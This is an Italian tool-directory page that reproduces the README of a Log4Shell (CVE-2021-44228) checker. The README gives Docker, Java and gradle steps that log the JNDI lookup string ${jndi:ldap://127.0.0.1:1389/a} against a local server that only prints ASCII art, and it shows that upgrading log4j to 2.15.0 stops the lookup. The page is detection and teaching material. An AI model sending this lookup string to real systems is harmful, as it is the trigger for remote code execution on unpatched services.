Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-44228 — Controllore della vulnerabilità CVE-2021-44228 | Kitploit
Strumenti/GitHubGitHub/greymd/cve-2021-44228
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubgreymd/cve-2021-44228

CVE-2021-44228

Controllore della vulnerabilità CVE-2021-44228

Vedi Repository
35424 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-44228 checker

Questo è il repository per verificare la vulnerabilità CVE-2021-44228.

Questa è una PoC che mostra solo stringhe senza alcun caricamento di classi esterne. Non può essere utilizzata per l'esecuzione arbitraria di codice.

Come funziona?

Step 1: Esegui l'applicazione server

L'immagine ghcr.io/greymd/cve-2021-44228/server è disponibile e può essere eseguita su Docker.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Step 2: Accedi all'endpoint con log4j

Prepara il codice per produrre log usando log4j ed eseguilo sullo stesso host. Crea una stringa di output ${jndi:ldap://127.0.0.1:1389/a}.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}
Scarica lo strumento

Se l'argomento è uno che causa una vulnerabilità, la frase 「うんこもりもり」(che significa tipo "Un sacco di merda.") verrà registrata con successo.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Se sei pigro per scrivere e compilare il tuo codice, puoi utilizzare una semplice applicazione logger in questo repository. Il primo argomento verrà prodotto dal Logger.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

Un esempio di fornitura di un argomento che causa una vulnerabilità è il seguente.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Se hai una versione di log4j che NON è affetta dalla vulnerabilità, o l'applicazione server non è in esecuzione, la stringa verrà prodotta così com'è senza alcuna modifica. Puoi verificarlo aggiornando la versione dell'applicazione logger come mostrato di seguito.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Esegui l'applicazione server senza Docker

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Motivazione

Come ho detto (e per quanto ho indagato), questa vulnerabilità non può essere riprodotta a meno che il server di destinazione di JNDI non sia in esecuzione. Pertanto, una semplice PoC è utile.

Riferimenti

I seguenti URL sono stati utilizzati come riferimento nell'implementazione.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

Versioni testate

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)